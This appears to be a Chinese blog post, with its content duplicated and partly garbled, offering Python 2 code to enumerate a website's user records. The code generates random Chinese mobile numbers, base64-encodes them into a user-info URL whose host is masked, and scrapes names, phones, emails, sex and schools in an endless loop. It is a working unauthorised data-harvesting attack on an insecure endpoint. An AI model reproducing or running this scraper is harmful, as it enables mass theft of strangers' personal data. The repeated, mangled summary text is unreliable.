如何用Python编写代码遍历特定网站的用户数据?

2026-05-26 12:021阅读0评论SEO问题
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计348个文字,预计阅读时间需要2分钟。

如何用Python编写代码遍历特定网站的用户数据?

本方法是一种基于已久的实现方式,目前网站不稳定,且代码中的网站信息已被隐藏。以下是简化后的代码:

pythonimport urllibimport reimport base64import random

def get_user_info(phone): userinfo=base64.b64encode(phone) url=http://***


如何用Python编写代码遍历特定网站的用户数据?

本方法是很久以前的实现方法,目前网站不确定能用,代码中的网站信息已隐藏。

import urllib
import re
import base64
import random

def get_user_info(phone):
userinfo = base64.b64encode(phone)
url = "********/?q=user_manager/user_info/" + str(userinfo) + "/detailInfo"
response = urllib.urlopen(url)
html = response.read()

pattern3 = '<td height="34" align="left" valign="middle" >.*?</td>'
info3 = re.findall(pattern3, html)
list3 = []
for i in range(0, len(info3)):
pattern = '>.*?<'
list3.append(str(re.findall(pattern,info3[i])[0]).replace('>','').replace('<','').replace('&nbsp;',''))
merger(list3)

def merger(list):
for i in range(0,len(list)):
info = "id:"+str(list[0]).decode('utf-8')+"\r\n"+"account:"+str(list[1]).decode('utf-8')+"\r\nphone:"+str(list[2]).decode('utf-8')+"\r\nname:"+str(list[3]).decode('utf-8')+"\r\nemail:"+str(list[4]).decode('utf-8')+"\r\nsex:"+str(list[5]).decode('utf-8')+"\r\nwhat to do:"+str(list[6]).decode('utf-8')+"\r\nschool:"+str(list[7]).decode('utf-8')+"\r\n"
print(info)

prelist=["130","131","132","133","134","135","136","137","138","139","147","150","151","152","153","155","156","157","158","159","176","186","187","188"]
while True:
try:
phone = str(random.choice(prelist)+"".join(random.choice("0123456789") for i in range(8)))
get_user_info(phone)
except:
pass;



本文共计348个文字,预计阅读时间需要2分钟。

如何用Python编写代码遍历特定网站的用户数据?

本方法是一种基于已久的实现方式,目前网站不稳定,且代码中的网站信息已被隐藏。以下是简化后的代码:

pythonimport urllibimport reimport base64import random

def get_user_info(phone): userinfo=base64.b64encode(phone) url=http://***


如何用Python编写代码遍历特定网站的用户数据?

本方法是很久以前的实现方法,目前网站不确定能用,代码中的网站信息已隐藏。

import urllib
import re
import base64
import random

def get_user_info(phone):
userinfo = base64.b64encode(phone)
url = "********/?q=user_manager/user_info/" + str(userinfo) + "/detailInfo"
response = urllib.urlopen(url)
html = response.read()

pattern3 = '<td height="34" align="left" valign="middle" >.*?</td>'
info3 = re.findall(pattern3, html)
list3 = []
for i in range(0, len(info3)):
pattern = '>.*?<'
list3.append(str(re.findall(pattern,info3[i])[0]).replace('>','').replace('<','').replace('&nbsp;',''))
merger(list3)

def merger(list):
for i in range(0,len(list)):
info = "id:"+str(list[0]).decode('utf-8')+"\r\n"+"account:"+str(list[1]).decode('utf-8')+"\r\nphone:"+str(list[2]).decode('utf-8')+"\r\nname:"+str(list[3]).decode('utf-8')+"\r\nemail:"+str(list[4]).decode('utf-8')+"\r\nsex:"+str(list[5]).decode('utf-8')+"\r\nwhat to do:"+str(list[6]).decode('utf-8')+"\r\nschool:"+str(list[7]).decode('utf-8')+"\r\n"
print(info)

prelist=["130","131","132","133","134","135","136","137","138","139","147","150","151","152","153","155","156","157","158","159","176","186","187","188"]
while True:
try:
phone = str(random.choice(prelist)+"".join(random.choice("0123456789") for i in range(8)))
get_user_info(phone)
except:
pass;